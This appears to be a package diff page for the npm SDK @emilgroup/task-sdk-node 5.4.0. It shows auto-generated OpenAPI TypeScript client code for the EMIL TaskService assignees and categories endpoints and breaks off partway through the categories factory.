@emilgroup/task-sdk-node
Advanced tools
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is not supported yet
| 5.4.0 |
+41
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { Configuration } from './configuration'; | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig, AxiosResponse } from 'axios'; | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| import { URL, URLSearchParams } from 'url'; | ||
| import FormData from 'form-data' | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from './common'; | ||
| // @ts-ignore | ||
| import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from './base'; | ||
| import { AssigneesApi } from './api'; | ||
| import { CategoriesApi } from './api'; | ||
| import { DefaultApi } from './api'; | ||
| import { HubSpotApi } from './api'; | ||
| import { StatusesApi } from './api'; | ||
| import { TasksApi } from './api'; | ||
| export * from './api/assignees-api'; | ||
| export * from './api/categories-api'; | ||
| export * from './api/default-api'; | ||
| export * from './api/hub-spot-api'; | ||
| export * from './api/statuses-api'; | ||
| export * from './api/tasks-api'; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common'; | ||
| // @ts-ignore | ||
| import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base'; | ||
| // @ts-ignore | ||
| import { ListAssigneesResponseClass } from '../models'; | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| import { URL, URLSearchParams } from 'url'; | ||
| const FormData = require('form-data'); | ||
| /** | ||
| * AssigneesApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export const AssigneesApiAxiosParamCreator = function (configuration?: Configuration) { | ||
| return { | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listAssignees: async (authorization?: string, expand?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| const localVarPath = `/taskservice/v1/assignees`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * AssigneesApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export const AssigneesApiFp = function(configuration?: Configuration) { | ||
| const localVarAxiosParamCreator = AssigneesApiAxiosParamCreator(configuration) | ||
| return { | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async listAssignees(authorization?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListAssigneesResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.listAssignees(authorization, expand, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * AssigneesApi - factory interface | ||
| * @export | ||
| */ | ||
| export const AssigneesApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) { | ||
| const localVarFp = AssigneesApiFp(configuration) | ||
| return { | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listAssignees(authorization?: string, expand?: string, options?: any): AxiosPromise<ListAssigneesResponseClass> { | ||
| return localVarFp.listAssignees(authorization, expand, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| }; | ||
| }; | ||
| /** | ||
| * Request parameters for listAssignees operation in AssigneesApi. | ||
| * @export | ||
| * @interface AssigneesApiListAssigneesRequest | ||
| */ | ||
| export interface AssigneesApiListAssigneesRequest { | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof AssigneesApiListAssignees | ||
| */ | ||
| readonly authorization?: string | ||
| /** | ||
| * Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @type {string} | ||
| * @memberof AssigneesApiListAssignees | ||
| */ | ||
| readonly expand?: string | ||
| } | ||
| /** | ||
| * AssigneesApi - object-oriented interface | ||
| * @export | ||
| * @class AssigneesApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export class AssigneesApi extends BaseAPI { | ||
| /** | ||
| * Retrieves a list of distinct assignees from tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List assignees | ||
| * @param {AssigneesApiListAssigneesRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof AssigneesApi | ||
| */ | ||
| public listAssignees(requestParameters: AssigneesApiListAssigneesRequest = {}, options?: AxiosRequestConfig) { | ||
| return AssigneesApiFp(this.configuration).listAssignees(requestParameters.authorization, requestParameters.expand, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| } |
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common'; | ||
| // @ts-ignore | ||
| import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base'; | ||
| // @ts-ignore | ||
| import { CreateCategoryRequestDto } from '../models'; | ||
| // @ts-ignore | ||
| import { CreateCategoryResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { GetCategoryResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { ListCategoriesResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { PatchCategoryRequestDto } from '../models'; | ||
| // @ts-ignore | ||
| import { PatchCategoryResponseClass } from '../models'; | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| import { URL, URLSearchParams } from 'url'; | ||
| const FormData = require('form-data'); | ||
| /** | ||
| * CategoriesApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export const CategoriesApiAxiosParamCreator = function (configuration?: Configuration) { | ||
| return { | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CreateCategoryRequestDto} createCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createCategory: async (createCategoryRequestDto: CreateCategoryRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'createCategoryRequestDto' is not null or undefined | ||
| assertParamExists('createCategory', 'createCategoryRequestDto', createCategoryRequestDto) | ||
| const localVarPath = `/taskservice/v1/categories`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| localVarRequestOptions.data = serializeDataIfNeeded(createCategoryRequestDto, localVarRequestOptions, configuration) | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteCategory: async (code: string, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'code' is not null or undefined | ||
| assertParamExists('deleteCategory', 'code', code) | ||
| const localVarPath = `/taskservice/v1/categories/{code}` | ||
| .replace(`{${"code"}}`, encodeURIComponent(String(code))); | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'DELETE', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the category. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getCategory: async (code: string, authorization?: string, expand?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'code' is not null or undefined | ||
| assertParamExists('getCategory', 'code', code) | ||
| const localVarPath = `/taskservice/v1/categories/{code}` | ||
| .replace(`{${"code"}}`, encodeURIComponent(String(code))); | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listCategories: async (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| const localVarPath = `/taskservice/v1/categories`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (pageSize !== undefined) { | ||
| localVarQueryParameter['pageSize'] = pageSize; | ||
| } | ||
| if (pageToken !== undefined) { | ||
| localVarQueryParameter['pageToken'] = pageToken; | ||
| } | ||
| if (filter !== undefined) { | ||
| localVarQueryParameter['filter'] = filter; | ||
| } | ||
| if (search !== undefined) { | ||
| localVarQueryParameter['search'] = search; | ||
| } | ||
| if (order !== undefined) { | ||
| localVarQueryParameter['order'] = order; | ||
| } | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (filters !== undefined) { | ||
| localVarQueryParameter['filters'] = filters; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {string} code | ||
| * @param {PatchCategoryRequestDto} patchCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchCategory: async (code: string, patchCategoryRequestDto: PatchCategoryRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'code' is not null or undefined | ||
| assertParamExists('patchCategory', 'code', code) | ||
| // verify required parameter 'patchCategoryRequestDto' is not null or undefined | ||
| assertParamExists('patchCategory', 'patchCategoryRequestDto', patchCategoryRequestDto) | ||
| const localVarPath = `/taskservice/v1/categories/{code}` | ||
| .replace(`{${"code"}}`, encodeURIComponent(String(code))); | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'PATCH', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| localVarRequestOptions.data = serializeDataIfNeeded(patchCategoryRequestDto, localVarRequestOptions, configuration) | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * CategoriesApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export const CategoriesApiFp = function(configuration?: Configuration) { | ||
| const localVarAxiosParamCreator = CategoriesApiAxiosParamCreator(configuration) | ||
| return { | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CreateCategoryRequestDto} createCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async createCategory(createCategoryRequestDto: CreateCategoryRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateCategoryResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.createCategory(createCategoryRequestDto, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async deleteCategory(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<void>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.deleteCategory(code, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the category. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async getCategory(code: string, authorization?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetCategoryResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.getCategory(code, authorization, expand, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async listCategories(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListCategoriesResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.listCategories(authorization, pageSize, pageToken, filter, search, order, expand, filters, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {string} code | ||
| * @param {PatchCategoryRequestDto} patchCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async patchCategory(code: string, patchCategoryRequestDto: PatchCategoryRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<PatchCategoryResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.patchCategory(code, patchCategoryRequestDto, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * CategoriesApi - factory interface | ||
| * @export | ||
| */ | ||
| export const CategoriesApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) { | ||
| const localVarFp = CategoriesApiFp(configuration) | ||
| return { | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CreateCategoryRequestDto} createCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createCategory(createCategoryRequestDto: CreateCategoryRequestDto, authorization?: string, options?: any): AxiosPromise<CreateCategoryResponseClass> { | ||
| return localVarFp.createCategory(createCategoryRequestDto, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteCategory(code: string, authorization?: string, options?: any): AxiosPromise<void> { | ||
| return localVarFp.deleteCategory(code, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the category. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getCategory(code: string, authorization?: string, expand?: string, options?: any): AxiosPromise<GetCategoryResponseClass> { | ||
| return localVarFp.getCategory(code, authorization, expand, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
